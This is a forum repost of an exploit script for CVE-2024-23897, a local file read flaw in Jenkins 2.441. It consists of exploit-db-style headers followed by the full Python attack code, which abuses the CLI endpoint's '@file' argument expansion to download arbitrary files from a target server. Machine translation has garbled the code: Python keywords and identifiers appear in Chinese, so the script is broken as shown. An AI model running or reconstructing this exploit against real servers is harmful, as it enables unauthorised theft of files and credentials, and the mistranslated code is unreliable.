H

Jenkins 2.441-本地文件包含

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Jenkins 2.441-本地文件包含
#日期: 14/04/2024
#利用作者: Matisse Beckandt(Backendt)
#供应商homepage: https://www.jenkins.io/
#软件link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins/jenkins-2.441.zip
#版本: 2.441
#测试在: Debian 12(Bookworm)
#CVE: CVE-2024-23897
来自ArgParse Import grognmparser
从请求导入会话,发布,例外
从线程导入线程
从UUID导入UUID4
从时间进口睡眠
从Re Import Findall
类利用(线程):
def __init __(self,url: str,distinifier: str):
线程.__ init __(self)
self.daemon=true
self.url=url
self.params={'remoting':'false'}
self.Identifier=标识符
self.stop_thread=false
self.listen=false
def run(self):
虽然不是self.stop_thread:
如果self.listen:
self.listen_and_print()
DEF Stop(Self):
self.stop_thread=true
DEF RECEDE_NEXT_MESSAGE(self):
self.listen=true
def wait_for_message(self):
而self.listen:
睡眠(0.5)
def print_formatted_output(self,output: str):
如果输出:中的“ error:无此类文件”
打印(“找不到文件”。)
ELIF“ errif:无法解析”
打印(“无法读取文件。”)
expression='没有这样的代理\'(。*)\'存在。
结果=Findall(表达式,输出)
打印('\ n'.join(结果))
def lister_and_print(self):
session=session()
标题={'side':'下载','session': self.Identifier}
TRY:
响应=session.post(self.url,params=self.params,标头=标题)
除(异常
打印(“无法连接到目标以设置侦听器。”)
出口(1)
self.print_formatted_output(worlds.text)
self.listen=false
def send_file_request(self,filepath: str):
标题={'side':'upload',session': self.Identifier}
有效载荷=get_payload(filepath)
TRY:
post(self.url,data=有效载荷,params=self.params,标头=标题,超时=4)
除(异常
打印(“无法连接到目标发送请求。”)
出口(1)
def read_file(self,filepath: str):
self.receive_next_message()
睡眠(0.1)
self.send_file_request(filepath)
self.wait_for_message()
def get_payload_message(uperation_index: int,text: str) - bytes:
text_bytes=字节(text,'utf-8')
text_size=len(text_bytes)
text_message=text_size.to_bytes(2) + text_bytes
message_size=len(text_message)
有效载荷=message_size.to_bytes(4) + aperation_index.to_bytes(1) + text_message
退回有效载荷
def get_payload(filepath: str) - bytes:
arg_operation=0
start_operation=3
命令=get_payload_message(arg_operation,'connect-node')
podiced_argument=get_payload_message(arg_operation,f'@{filepath}')
有效载荷=命令+毒品_argument + start_operation.to_bytes(1)
退回有效载荷
def start_interactive_file_read(exploit: exploit):
打印(“按Ctrl+C退出”)
而true:
filepath=input('file to download: \ n')
filepath=make_path_absolute(filepath)
exploit.receive_next_message()
TRY:
exploit.read_file(filepath)
例外。ReadTimeOut:
打印(“有效载荷请求时间。”)
def make_path_absolute(filepath: str)-STR:
如果不是filepath.startswith('/'):
返回f'/proc/self/cwd/{filepath}'
返回filepath
def format_target_url(url: str)-STR:
如果url.endswith('/'):
url=url [:-1]
返回f'{url}/cli'
def get_arguments():
parser=grightparser(description='cve-2024-23897'的本地文件包含利用')
parser.add_argument(' - u',' - url',必需=true,help='弱势jenkins服务的URL。ex: 3http://hellowerld.com/')
parser.add_argument(' - p',' - path',help='文件的绝对路径下载')
返回parser.parse_args()
def main():
args=get_arguments()
url=format_target_url(args.url)
filepath=args.path
标识符=str(uuid4())
exploit=exploit(url,标识符)
exploit.start()
如果FILEPATH:
filepath=make_path_absolute(filepath)
exploit.read_file(filepath)
exploit.stop()
返回
TRY:
start_interactive_file_read(exploit)
除了键盘Interrupt:
经过
打印('\ nQuitting')
exploit.stop()
如果name=='__ -Main __':
主要的()
 
后退
顶部